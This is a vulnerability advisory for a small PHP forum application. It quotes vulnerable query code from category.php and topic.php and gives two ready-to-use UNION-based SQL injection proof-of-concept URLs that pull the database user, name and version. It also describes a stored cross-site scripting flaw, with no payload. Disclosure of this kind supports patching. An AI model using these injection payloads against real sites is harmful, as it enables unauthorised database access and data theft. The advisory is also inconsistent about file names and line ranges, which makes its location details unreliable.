VULNERABILITY: SQL Injection (Category,Topic)

##############################################

/category.php (LINE: 7-16)

-----------------------------------------------------------------------------

LINE 7-16:

$sql = "SELECT

cat_id,

cat_name,

cat_description

FROM

categories

WHERE

cat_id = " . mysql_real_escape_string($_GET['id']);

$result = mysql_query($sql);

-----------------------------------------------------------------------------

/topic.php (LINE: 7-16)

-----------------------------------------------------------------------------

LINE 11-19:

$sql = "SELECT

topic_id,

topic_subject

FROM

topics

WHERE

topics.topic_id = " . mysql_real_escape_string($_GET['id']);

$result = mysql_query($sql);

-----------------------------------------------------------------------------

DESCRIPTION FOR SQL INJECTION

#####################################################

An attacker might execute arbitrary SQL commands on the database server with this vulnerability.

User tainted data is used when creating the database query that will be executed on the database management system (DBMS).

An attacker can inject own SQL syntax thus initiate reading, inserting or deleting database entries or attacking the underlying operating system

depending on the query, DBMS and configuration.

POC:

http://target/nano/category.php?id=9%20and%201%20div%202%20union%20select%201,concat%28user%28%29,0x3a3a,database%28%29,0x3a3a,version%28%29%29,3

http://target/nano/topic.php?id=10%20and%201%20div%200%20union%20select%201,concat%28user%28%29,0x3a3a,database%28%29,0x3a3a,version%28%29%29

#####################################################

VULNERABILITY: Cross Site Scripting (Create_topic.php)

#####################################################

/category.php (LINE: 106-119)

-----------------------------------------------------------------------------

LINE 106-119:

$topicid = mysql_insert_id();

$sql = "INSERT INTO

posts(post_content,

post_date,

post_topic,

post_by)

VALUES

('" . mysql_real_escape_string($_POST['post_content']) . "',

NOW(),

" . $topicid . ",

" . $_SESSION['user_id'] . "

)";

$result = mysql_query($sql);

-----------------------------------------------------------------------------

#####################################################

DESCRIPTION FOR CROSS SITE SCRIPTING

#####################################################

An attacker might execute arbitrary HTML/JavaScript Code in the clients browser context with this security vulnerability.

User tainted data is embedded into the HTML output by the application and rendered by the users browser, thus allowing an attacker

to embed and render malicious code. Preparing a malicious link will lead to an execution of this malicious code in another users browser

context when clicking the link. This can lead to local website defacement, phishing or cookie stealing and session hijacking.
